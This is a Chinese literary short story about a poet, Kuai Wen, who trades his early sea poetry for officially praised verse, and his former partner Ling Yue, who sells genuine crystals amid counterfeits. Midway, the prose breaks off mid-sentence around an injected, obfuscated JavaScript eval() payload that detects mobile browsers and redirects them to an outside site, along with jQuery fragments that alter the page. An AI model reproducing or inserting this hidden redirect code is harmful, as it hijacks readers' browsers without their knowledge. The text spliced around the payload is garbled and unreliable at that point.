诗刊编辑部的日光灯管开始老化，嗡嗡声里总掺着点颤音，像谁在喉咙里卡着没说出口的话。蒯文把红笔搁在稿纸上，笔尖悬在“精神文明”四个字上方，墨迹在纸面洇出个淡灰的圈。桌角的铁皮盒敞着口，叶蓁蓁的信露出半截，信封是进口的珠光纸，摸起来像被海水泡过的丝绸——上周她特意说，这纸是托人从深圳免税店带来的，“配得上蒯老师的文字”。


    “小蒯，这篇《开拓者之歌》得加急排版，”主编推门进来，手里捏着烟，烟灰落在蒯文的诗稿上，“市里领导点名要看，说要登在副刊头条。”蒯文赶紧把稿纸抽出来，指尖划过“起重机吊起朝阳”这句，心里忽然空了一下，像多年前在东海市海边，脚踩进被浪掏空的沙窝。


    “我再改改结尾。”他说。主编拍他肩膀，力道不轻：“不用太细，意思到了就行。现在的读者，不就爱看这些有‘干劲’的？”办公室的吊扇转着，把烟草味吹向墙角的废纸篓，那里扔着他昨夜写废的稿纸，上面有“海浪啃蚀礁石，那是开拓的印痕”的句子，被红笔划得乱七八糟。


    手机在抽屉里震动，是凌月的号码。他顿了顿，拉开抽屉时，看见屏幕上跳出一行字：“李哥的仿品卖得比我好，今天只卖了三块水晶饰品。”他指尖悬在输入框上，打了又删，最后发过去：“别太较真，晚上我带你去看新公寓。”


    发送成功的提示弹出来时，叶蓁蓁端着咖啡进来了。她今天穿了条白色连衣裙，领口绣着细小闪亮的珍珠，走路时裙摆扫过办公桌，带起一阵栀子花的香。


    “蒯老师，您看我这句‘霓虹是夜的胭脂红’怎么样？”她把稿子递过来，手指有意无意抚在他手背上，“总觉得不如您写的‘吊塔是钢铁的诗行’有力量。”


    蒯文抽回手，拿起咖啡杯，杯壁上印着她的口红印，像朵被掐下来的花。“你的比喻太柔美了，”他说，“现在需要的是硬朗的句子。”叶蓁蓁笑起来，眼睛弯成月牙：“那您教我呀，我晚上去您新公寓等您？正好带了瓶红酒。”


    他没应声，目光透过百叶窗，落在对面的百货大楼上。楼顶上的巨幅广告又换了新，印着穿西装的男人竖起大拇指，底下写着“敢闯敢拼，再创辉煌”。去年那个日子，他还和凌月挤在顶楼的出租屋，窗户外是晾衣绳上的白衬衫，风一吹，像一面面褪色的旗。


    小商品市场的入口处堆着刚卸的货，纸箱上印着“广州批发”“义乌直供”，油墨味混着鱼腥气，钻进凌月的鼻腔。她把帆布包往肩上勒了勒，包里装着那块贝壳——从狱中带出的苏曼的那片，内侧“自由”二字的刻痕已经模糊，边角被摸得发亮，像一块长久磨砺过的玉石。


    “凌月，今天又来晚了？”隔壁卖袜子的张婶往竹筐里扔着尼龙袜，“李哥那仿品卖疯了，刚才还有人问你这真水晶是不是假的，说人家十块钱能买仨，你这要五十块。”凌月没说话，蹲下身把水晶摆进木托里，又铺了几排水晶饰品。那片月光石在晨光里泛着青白的光，像她小时候在东海市海边见过的浪花，碎在礁石上的那一刹那。


    李哥的摊位就在对面，红布铺得老大，上面挂满紫莹莹的“水晶”手链，玻璃珠子在阳光下折射出刺眼的光。他正给一个穿短裙的女孩打包，嗓门洪亮：“放心，这是乌拉圭进口的，老总都在我这儿拿过货！”凌月抬头，看见李哥身后站着个穿黑西装的男人，背着手看着她的摊位，皮鞋擦得锃亮，鞋尖沾着点市场的泥水。


    原来是刘冀，他总是在有意无意间出现在凌月周围。上周他来市场时，也是这身打扮，指着她木牌上的“假一赔十”，故意问：“你这石头，能看出真假？”当时她正拿着块草莓晶，阳光透过晶体，能看见里面细小的针状包裹体，像冻住的雨丝。“真水晶有灵。”她答。刘冀笑了笑，没再说什么，转身时，凌月听见他跟李哥低语：“这凌月总是碍着我的眼。”


    现在刘冀的目光又落在她的木牌上，像在掂量什么。李哥赶紧递烟，悄悄对刘冀说：“刘总放心，她那货没有好成色，批发商那边我打过招呼。”凌月无意他们说些什么，用心整理着自己的铺子。


    手机震动，是蒯文的消息：“六点在市场门口等你，带你去新公寓。”她盯着屏幕看了会儿，指尖在“新公寓”三个字上停留一会儿，像触摸在一块陌生的石头上。上周他说搬了家，在开发区的新楼盘，一百多平，带落地窗。“以后你不用摆摊了，”他在电话里说，“我养得起你。”


    她当时正蹲在地上捡水晶饰品，一颗白水晶的尖头扎进掌心，渗出血珠。“我自己能行。”她答。电话那头沉默了会儿，却传来叶蓁蓁的声音：“蒯老师，稿子改好了吗？”然后是蒯文匆忙的一句应付，“晚点说”，电话就挂了。


    正午的太阳晒得市场的铁皮棚发烫，凌月把最后一块紫水晶摆好。晶体里的绵体像流动的云，是她托人从东海市进的货，进价比上个月涨了三成。批发商说，好货都被“大客户”订走了，“人家要做高端礼品，不在乎价钱”。凌月摸了摸紫水晶，冰凉的触感顺着指尖爬上来，让她想起多年前的夏天，蒯文在东海市海边给她读诗。海风把他的声音吹得忽远忽近：“贝壳把海浪的话刻进骨头里，黑夜也能听见海的心跳……”当时他们各握着那两片“海”与“岸”的贝壳，他说他要写《浮城掠影——海的组诗》，写“所有被囚禁的海浪，都在等待涨潮的自由”。


    “老板，你这石头真能招财？”一个老太太蹲下来，指着块黄水晶问。凌月微笑：“心诚就灵。”老太太掏出钱，嘴里念叨着“政策好，儿子要开自己的工厂了，求个大吉大利”。凌月把水晶包好，抬头看见李哥正往玻璃仿品上贴“招财纳福”的标签。这时，刘冀的车刚驶出市场，尾灯在人群里闪了两下，像颗淬了火的钉子消逝在拐角。


    下午三点，批发商的电话来了，语气急冲冲的：“你订的那批白水晶，被人截胡了，对方出两倍价。”凌月捏着手机，听见对面传来李哥的坏笑：“让你买个球！”她挂了电话，把随身携带的贝壳掏出来放在水晶堆里。阳光反射贝壳的光，在棚顶投下细碎的光斑，成了吹不散的浪影。


    五点半，凌月开始收摊。木托里还剩大半水晶，月光石的青白，紫水晶的深紫，在暮色里像默哀一样站立。张婶路过，叹口气：“要不，你也进点李哥那货？大家都在赚快钱，良心值几个钱？”凌月把贝壳放进帆布包，拉链拉到一半，看见蒯文的车停在市场门口，黑色的轿车，在夕阳下泛着冷光。


    她背起包走过去，车玻璃降下来，蒯文穿着件灰色衬衫，袖口挽着，露出手腕上的表——叶蓁蓁送的，上次笔会她特意炫耀：“瑞士机芯，配蒯老师的气质妥妥的。”“上车，带你去看看新家。”他说。凌月摇头，“我今晚要盘点货，不去了。”


    “又耍性子？”他皱起眉，“我那房子有个大阳台，你可以把水晶都摆那儿，自己欣赏就够了。”“我的水晶得卖钱，”凌月摸了摸帆布包，贝壳硌着手背，“在屋里待久了，会闷死的。”


    叶蓁蓁的声音突然从副驾传来，她探出头，脸上带着笑：“凌小姐是怕生吗？我也在呢，正想跟你探讨水晶的事呢。”凌月这才看见副驾上坐着的叶蓁蓁，穿条红色的连衣裙，脖子上戴着条玻璃仿水晶项链，在暮色里闪着晶莹却不剔透的光。“不用了。”凌月后退半步，帆布包带勒得肩膀生疼，“我自己能照顾好我的......水晶。”


    蒯文的脸色沉下来：“凌月，你别不给一点儿面子。”叶蓁蓁赶紧打圆场：“蒯老师别生气，凌小姐可能是累了。要不我们先去吃饭，下次再请凌小姐？”她的手搭在蒯文的胳膊上，指甲涂着鲜红的蔻丹，像要掐进他的肉里。


    凌月转身往市场里走，背后传来汽车发动的声音。她没回头，走到自己的摊位前，蹲下来捡地上的水晶碎石。一颗玲珑的紫水晶滚到脚边，她捡起来，对着路灯看，绵体在光里流动，像蒯文当年没写完的诗行，凌月的眼眶一下子红了。


    远处传来夜市开卖的喧嚣，烤串的油烟味飘过来，混着劣质香水的味道。凌月摸着那块贝壳，薄暮里，内侧的“自由”二字模糊不清，却比任何时候都烫手，向她提示着海潮声声，她知道，有些浪，已经拍不到这里了。


    省刊的诗歌笔会设在开发区的迎宾馆，朱红色的地毯从大堂铺到宴会厅，踩上去像陷进退去海浪的滩涂。蒯文站在穿衣镜前整理领带，叶蓁蓁在旁边帮他拽了拽西装下摆：“蒯老师，您今天这首《特区晨曲》，肯定能震住全场。”她的手指划过他的领口，留下淡淡的栀子花香，和他新公寓里的香薰一个味道。


    “别乱说话。”他推开她的手，镜子里映出自己的脸，颧骨比去年高了些，眼神里多了些以前没有的东西，像被砂纸磨过的石头，少了棱角，也失了光泽。口袋里的钢笔硌着胸脯，是叶蓁蓁送的，笔帽上镶着颗玻璃仿水晶，阳光底下能晃花眼——她说“这叫改革开放的光芒”。


    宴会厅里已经坐满了人，桌子上摆着刚买来的鲜花，花瓣上沾着晨露，像凌晨苏醒的海浪泛着微光。蒯文刚坐下，就有人过来敬酒，是开发区的宣传干事，手里举着玻璃杯：“蒯老师，您那首《塔吊颂》写得太到位了，‘钢铁的脊梁撑起明天的希望’，我们书记都说好！”叶蓁蓁赶紧站起来，替蒯文挡酒：“王干事别敬了，蒯老师待会儿还要朗诵呢。”


    蒯文笑了笑，没说话。他看见角落里坐着个穿棉布衬衫的人，是凌月。她来得悄无声息，帆布包放在脚边，手里捏着个保温杯，眼神落在窗外——那里正在盖新的写字楼，脚手架像巨大的蜘蛛网，罩住了半边天。


    叶蓁蓁顺着他的目光看过去，嘴角撇了撇：“凌小姐怎么穿这个就来了？领导都在呢。”蒯文没接话，想起早上出门前，凌月发来的短信：“我还是去看看吧，毕竟是你的诗会。”他当时回了个“嗯”，现在看着她在人群里格格不入的样子，忽然觉得有点扫兴。


    主持人报幕的声音响起，叶蓁蓁推了他一把：“到您了，蒯老师。”他站起身，掌声像潮水般涌过来，有着大海的气势。走上台时，他看见凌月抬起头，手里不知什么时候多了个东西，在灯光下泛着白，是块贝壳。


    “今天给大家带来一首新作《特区晨曲》。”他的声音透过麦克风传出去，带着点自己都没察觉的颤抖。开篇的句子在舌尖滚了滚：“塔吊是你笔直的诗行，厂房是你押韵的合唱……”台下的叶蓁蓁听得眼睛发亮，手指在笔记本上飞快地写着，王干事禁不住鼓掌，巴掌拍得通红。


    念到中段时，他的目光越过人群，落在凌月身上。她正低头摩挲着手里的贝壳，侧脸在灯光下显得很柔和，像当年在东海市海边，她蹲在礁石上看浪花的样子。那时候他写《海的组诗》，她就这么听着，海风把她的头发吹到他脸上，带着咸涩的味道。


    “……让我们举杯，歌颂特区沸腾的朝阳！”最后一句念完，掌声雷动。叶蓁蓁冲上台，递给他一束红玫瑰，花瓣上沾着水珠：“蒯老师，您写得太棒了！特别是‘霓虹是伟大时代的眼影，特区是改革开放的弄潮儿’，太有画面感了！”他接过花，花瓣上的水珠打湿了衣衫，洇出一大片海雾的影子。


    轮到叶蓁蓁发言时，她特意走到凌月面前，把笔记本递过去：“凌小姐，您看我这句‘牢笼也能开出花’怎么样？蒯老师说很有波德莱尔象征主义的意蕴呢。”凌月不知道波德莱尔是谁，手里的贝壳被攥得发白：“我不懂诗，”她顿了顿，目光落在叶蓁蓁脖子上的玻璃项链上，“但我知道，假花是开不出水晶的色彩。”


    叶蓁蓁的脸僵了一下，随即又笑起来：“凌小姐真会开玩笑。”蒯文走过来，把凌月往旁边拉了拉：“别胡说八道。”凌月甩开他的手，帆布包往肩上一甩：“我该回市场了，晚上还要熬夜市。”


    “我送你。”蒯文说。叶蓁蓁赶紧道：“蒯老师，待会儿还有座谈会呢，王干事说要跟您聊聊专栏的事。”他看着凌月的背影，她正穿过人群往外走，帆布包上的拉链在灯光下闪了闪，像倔强的星光。


    座谈会开到一半，蒯文借故溜了出来。迎宾馆门口的喷泉喷着水，水花落在大理石地面上，像摔碎的玻璃。他给凌月打电话，响了很久才被接起，电话里却响起夜市的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160674|180612||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喧嚣，还有李哥的叫卖声：“纯天然水晶，十块钱仨！”


    “你在哪儿？”他问。“摊位上。”凌月的声音很淡，“刚来了个老客户，买走了最后一块月光石。”蒯文捏着手机，听见自己的声音有些发紧：“我跟你说过，别再守那破摊了，明天就把它撤了。”“这不是破摊，”凌月说，“是我的事业。”


    “你的事业？”他的火气上来了，“李哥卖的是玻璃，你跟他较什么劲？这社会就是这样，撑死胆大的，饿死胆小的，事业算得了什么！”电话那头沉默了会儿，传来贝壳碰撞的轻响，像是凌月在摸那枚老伙计。“蒯文，”她的声音突然很清晰，“你还记得《浮城掠影》里怎么写的吗？‘有些浪花，宁肯碎，也不肯迎合’。”


    他张了张嘴，没说出话来。喷泉的水声里，他听见叶蓁蓁的声音从远处传来：“蒯老师，王干事找您呢！”挂电话时，他好像听见凌月说了句什么，像海浪拍礁石的声音，又像一声坚定的叹息。


    回到宴会厅时，叶蓁蓁正和王干事谈笑风生，看见他进来，赶紧拉他坐下：“王干事说，想请您当特区的文化顾问，每月有津贴呢。”王干事递过烟：“蒯老师，以后咱们多合作，让诗歌为特区经济建设服务嘛。”蒯文接过烟，打火机的火苗窜起来，照亮他眼前的玻璃杯，里面的红酒晃了晃，像片被染了色的海水。


    夜市的灯亮起来时，凌月把最后一件水晶饰品收进箱子。张婶凑过来，压低声音：“刚才看见刘冀的车停在巷口，好像在候着你。”凌月抬头，巷口空荡荡的，只有个收废品的三轮车经过，铃铛叮当作响。她最后把贝壳放进帆布包，拉链拉到最顶，像要把什么东西锁死。


    手机震动，是个陌生号码发来的短信：“我是叶蓁蓁，蒯老师喝醉了，在新公寓，地址是开发区……你能过来看看吗？”凌月盯着短信看了几秒，删掉了。夜风从市场穿过去，吹得帆布包鼓起来，像揣了片没被驯服的海。


    蒯文醒来时，发现自己躺在新公寓的沙发上，叶蓁蓁正给他盖毯子。晨光透过落地窗漫进来，在地板上切割出明暗交错的格子，像他诗稿上被红笔涂改的痕迹。叶蓁蓁穿着他的白衬衫，袖口卷到小臂，露出纤细的手腕，上面戴着那条玻璃仿水晶手链。“您醒了？”她递过一杯温水，指尖有意擦过他的手背，“昨晚您喝多了，一直叫凌月的名字呢。”


    蒯文接过水杯，喉结滚动了一下。窗外的写字楼群在晨光里泛着冷光，塔吊的长臂悬在半空，像凝固的惊叹号。他忽然想起凌月说的话——“有些浪花，宁肯碎，也不肯迎合”。胃里一阵翻腾，他推开叶蓁蓁的手站起来，衬衫上还沾着昨晚的酒气，混杂着她身上的栀子花香，刺鼻得很。


    “我这是怎么了。”他说。叶蓁蓁从身后抱住他，下巴抵在他的背上：“蒯老师，您何必呢？凌小姐根本不懂您的世界。您的诗需要更懂你的人欣赏，需要人能帮您……”她的声音像藤蔓，缠得他喘不过气。他掰开她的手，看见床头柜上放着本翻开的诗集，是他第一本诗集《浮城掠影》，蒯文猛地合上诗集，纸张的褶皱泛起无数道无法愈合的伤口。他抓起外套往外走，电梯下降时，镜面里映出他慌乱的脸，鬓角的头发有些凌乱，像被海风揉过的芦苇。


    凌月的地摊刚铺起来，晨光被市场的铁皮棚的缝隙筛成了碎金。她把那块贝壳摆在水晶堆的正中央，贝壳内侧的“自由”二字在光里若隐若现，这片贝壳已成了她的支撑。张婶蹲在旁边数袜子，嘴里念叨着：“李哥今天没来摆摊，听说他那批货被查了，说是侵权什么的。”凌月抬头，看见李哥的摊位空着，红布被风卷起来又垂下去，像面泄气的战鼓。


    “估计是仿品欺骗了消费者。”凌月把一块紫水晶摆好，晶体里的绵体在光里流动，像她昨晚没做完的梦。梦里蒯文站在东海市的海边，手里拿着贝壳，海浪漫过他的脚踝，《朦胧诗集》上的字迹被泡得模糊，只剩下海浪呜咽，浮浮沉沉。


    “凌月，有人找你。”张婶朝路口努努嘴。凌月抬头，看见蒯文站在晨光里，衬衫的领口歪着，眼睑青黑。他手里攥着个牛皮纸包，递过来时指尖在发抖：“这是……新诗集的稿费，你拿着，多进点好水晶。”


    凌月没接，目光落在他身后——叶蓁蓁开着车不知什么时候停在不远处，车窗摇下来，她正对着镜子涂口红，脖子上的玻璃项链闪了闪。“我不要。”凌月把贝壳往水晶堆里按了按，“我用我自己的钱，我的水晶我自己来。”


    “你非要这么倔？”蒯文的声音沉下来，“你知道现在进货多不容易，他们一直在抬高……”“我知道。”凌月打断他，“你还是写好你伟大时代的诗歌吧！”


    蒯文的脸瞬间涨红，捏着纸包的手指关节泛白：“你懂什么！这叫适应时代！我的诗能登上省刊，能被领导赏识，总比窝在出租屋里写那些没人看的海浪强！”他把纸包往水晶堆上一摔，钞票散落出来，有的飘落在水晶饰品上，有的夹在水晶的摆件间，有一张包住了那块贝壳。


    凌月蹲下身，一张张捡起钞票递向蒯文，“蒯文，”她声音很轻却很有穿透力，“你的诗里，再也没有海的味道了。”


    蒯文看着她的手捏着钱坚定地伸向他，突然说不出话来。叶蓁蓁的车喇叭响了两声，像在催他。他接过钞票，转身就走，脚步踉跄，像踩在没干透的滩涂上。


    下午，批发商打来电话，语气缓和了许多：“凌月，上次那批白水晶项链，对方退了，你要不要？给你便宜点。”凌月愣了愣，问：“为什么退了？”批发商叹了口气：“听说订这批货的公司出事了，好像是老板被查了……”


    夕阳正落在远处的写字楼顶上，把玻璃幕墙染成了金红色，像片烧起来的海。


    凌月沿着街边慢慢走，紧捏着口袋里的贝壳，那贝壳虽硌着手，却像一把能开启心灵的钥匙让她心安。晚风从街角吹过，带着夜市的烟火气，她从来没有如此贴近这个真实的世界。她知道，有些路，只能一个人走；有些海，只能在回忆里涨潮。而那块贝壳，会替她记得所有关于真实与自由的模样，迎来一次又一次的潮涨潮落。